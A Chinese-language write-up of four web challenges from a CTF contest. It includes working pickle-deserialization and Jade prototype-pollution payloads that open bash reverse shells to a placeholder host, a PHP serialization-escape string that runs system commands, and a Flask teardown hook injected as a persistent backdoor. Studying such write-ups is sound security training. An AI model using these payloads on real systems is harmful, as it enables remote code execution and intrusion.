第二届黄河流域网络安全技能挑战赛Web_wirteup

前言

好久没写过比赛的wp了,黄河流域的web出的不错,挺有意思了,花了点时间,也是成功的ak了

myfavorPython

注册登录,一个base64输入框,猜测pickle反序列化,简单测试下,返回的数据是pickletools.dis解析的opcode结构,猜测其实已经load了,但是没回显,写个反弹shell的opcode:

import pickle import base64 class Exp(object):     def __reduce__(self):            return (os.system,("bash -c "bash -i >&/dev/tcp/vps/ip 0>&1"",)) a = Exp() print(base64.b64encode(pickle.dumps(a))) 

发送,拿到shell,cat flag

Ezzz_Proto

const express = require('express'); const lodash = require('lodash'); const path = require('path'); var bodyParser = require('body-parser');   const app =  express(); var router = express.Router();  app.set('view engine', 'jade'); app.set('views', path.join(__dirname, 'views')); app.use(bodyParser.json({ extended: true }));   app.get('/',function (req, res) {     res.send('Hello World'); })  app.post('/post',function (req, res) {     function merge(target, source) {         for (let key in source) {             if (key in source && key in target) {                 merge(target[key], source[key])             } else {                 target[key] = source[key]             }         }     }     var malicious_payload = JSON.stringify(req.body);     var body = JSON.parse(JSON.stringify(req.body));     var a = {};     merge(a, JSON.parse(malicious_payload));     console.log(a.name);     res.render('index.jade', {         title: 'HTML',         name: a.name || ''     }); }) app.listen(1113, () => console.log('Example app listening on port http://127.0.0.1:1113 !')) 

阅读源码,merge处可原型链污染,这里用的jade引擎,应该可以打jade的rce,简单找了个payload,{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('bash -c "bash -i >& /dev/tcp/vps/ip 0>&1"'))"}},没打通,追踪一下流程,前面的一切正常,追踪到complie处

compile: function(){     this.buf = [];     if (this.pp) this.buf.push("var jade_indent = [];");     this.lastBufferedIdx = -1;     this.visitCode(this.node);     if (!this.dynamicMixins) {       // if there are no dynamic mixins we can remove any un-used mixins       var mixinNames = Object.keys(this.mixins);       for (var i = 0; i < mixinNames.length; i++) {         var mixin = this.mixins[mixinNames[i]];         if (!mixin.used) {           for (var x = 0; x < mixin.instances.length; x++) {             for (var y = mixin.instances[x].start; y < mixin.instances[x].end; y++) {               this.buf[y] = '';             }           }         }       }     }     return this.buf.join('n');   }, 

这里使用的是visitCode去查AST树,上面的payload满足的是使用visit去查,跟进一下,设置val的值为恶意代码即可

visitCode: function(code){     // Wrap code blocks with {}.     // we only wrap unbuffered code blocks ATM     // since they are usually flow control      // Buffer code     if (code.buffer) {       var val = code.val.trim();       val = 'null == (jade_interp = '+val+') ? "" : jade_interp';       if (code.escape) val = 'jade.escape(' + val + ')';       this.bufferExpression(val);     } else {       this.buf.push(code.val);     }      // Block support     if (code.block) {       if (!code.buffer) this.buf.push('{');       this.visit(code.block);       if (!code.buffer) this.buf.push('}');     }   }, 

所以最终的payload为:{"__proto__":{"compileDebug":1,"self":1,"val":"console.log(global.process.mainModule.require('child_process').execSync('bash -c "bash -i >& /dev/tcp/vps/port 0>&1"'))"}}
拿到shell,cat flag

逃跑大师

<?php highlight_file(__FILE__); error_reporting(0); function substrstr($data) {     $start = mb_strpos($data, "[");     $end = mb_strpos($data, "]");     return mb_substr($data, $start, $end + 1 - $start); } class A{     public $A;     public $B = "HELLO";     public $C = "!!!";     public function __construct($A){         $this->A = $A;     }     public function __destruct(){         $key = substrstr($this->B . "[welcome sdpcsec" .$this->C . "]");         echo $key;         eval($key);     } } if(isset($_POST['escape'])) {     $Class = new A($_POST['escape']);     $Key = serialize($Class);     $K = str_replace("SDPCSEC", "SanDieg0", $Key);     unserialize($K); } else{     echo "nonono"; } nonono 

反序列化逃逸,利用点在eval($_key),我们得控制$key的值,$key = substrstr($this->B . "[welcome sdpcsec" .$this->C . "]"); 我们逃逸可以控制$B$C的值,分析一下substrstr函数,根据[,] 的位置来截取字符串,这里有点讲究,这里假设$C=1,后面拼接了[welcome sdpcsec1]18个字符,我们截取到-18即可,控制$end=0$start=19,即]111111111111111111[phpinfo()]; ,这样就能成功执行phpinfo,接下来看逃逸,增量逃逸,简单构造下逃逸的字符串:";s:1:"B";s:41:"]111111111111111111[system("cat /flag")];";s:1:"C";s:1:"1";} ,长76,在前面加上76个SDPCSEC ,post拿到flag

Python-revenge

import base64 import io import os import pickle import pickletools import sys  from flask import Flask, render_template, request, redirect, url_for, session from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user  app = Flask(__name__) app.secret_key = 'welcome_to_here'  # 修改为一个随机的密钥  # 初始化 Flask-Login login_manager = LoginManager() login_manager.init_app(app) login_manager.login_view = 'login'  # 模拟一个用户类 class User(UserMixin):     def __init__(self, id):         self.id = id  # 模拟用户数据库 users = {'user_id': {'password': 'user_password', 'role': 'user'}, 'admin_id': {'password': 'asdfghjkl', 'role': 'admin'}}  @login_manager.user_loader def load_user(user_id):     return User(user_id)     @app.route('/login', methods=['GET', 'POST'])  def login():     if request.method == 'POST':         username = request.form['username']         password = request.form['password']         user_data = users.get(username)         if user_data and user_data.get('password') == password:             user = User(username)             login_user(user)              session['role'] = 'admin' if username == 'admin_id' else 'user'              return render_template('index.html')     return render_template('login.html')  @app.route('/logout') @login_required def logout():     logout_user()     session.pop('role', None)     return redirect(url_for('login'))  @app.route('/', methods=['GET', 'POST']) @login_required def index():     results = ""     if request.method == 'POST':         a = request.form['text']         output = io.StringIO()         try:             decoded_data = base64.b64decode(a)             if b'before' in decoded_data or b'after' in decoded_data:                 results = "不可以添加函数!"                 return render_template("index.html",results=results)             elif b'static' in decoded_data or b'>' in decoded_data or b'|' in decoded_data or b'/' in decoded_data or b'template' in decoded_data:                 results = "不能写文件嗷!"                 return render_template("index.html",results=results)             else:                 pickle.loads(decoded_data)             with io.StringIO() as file:                 old_stdout = sys.stdout                 sys.stdout = file                 try:                     pickletools.dis(decoded_data)                 finally:                     sys.stdout = old_stdout                 results = file.getvalue()         except:             results = "error"          return render_template('index.html', results=results)     else:         return render_template('index.html') @app.route('/register', methods=['GET', 'POST']) def register():     if request.method == 'POST':         username = request.form['username']         password = request.form['password']          # 检查用户名是否已存在         if username in users:             return "用户名已存在,请选择其他用户名"          # 创建新用户         users[username] = {'password': password, 'role': 'user'}          # 登录新用户         user = User(username)         login_user(user)          return redirect(url_for('index'))      return render_template('register.html')   if __name__ == '__main__':     app.config['SESSION_COOKIE_NAME'] = 'session'     app.run(host='0.0.0.0', port=5000) 

逻辑跟第一道web题一样,不过这次不出网,而且还有黑名单,常规的内存马写法被限制的死死的,翻阅源码的钩子函数,找到个teardown_request,这个函数会在每次request后执行,即使抛出异常也会执行(在debug=False)的情况下,简单构造一下:app.teardown_request_funcs.setdefault(None, []).append(lambda error: os.system(base64.b64decode('Y2F0IGZsYWcudHh0ID4gL2FwcC9zdGF0aWMvZmxhZy50eHQ=').decode()))
base64的数据为:cat flag.txt > /app/static/flag.txt

import pickle import base64  class Exp(object):     def __reduce__(self):            return (eval,("app.teardown_request_funcs.setdefault(None, []).append(lambda error: os.system(base64.b64decode('Y2F0IGZsYWcudHh0ID4gL2FwcC9zdGF0aWMvZmxhZy50eHQ=').decode()))",)) a = Exp() print(pickle.dumps(a)) print(base64.b64encode(pickle.dumps(a))) 

post数据,访问/static/flag.txt拿到flag

发表评论

评论已关闭。

相关文章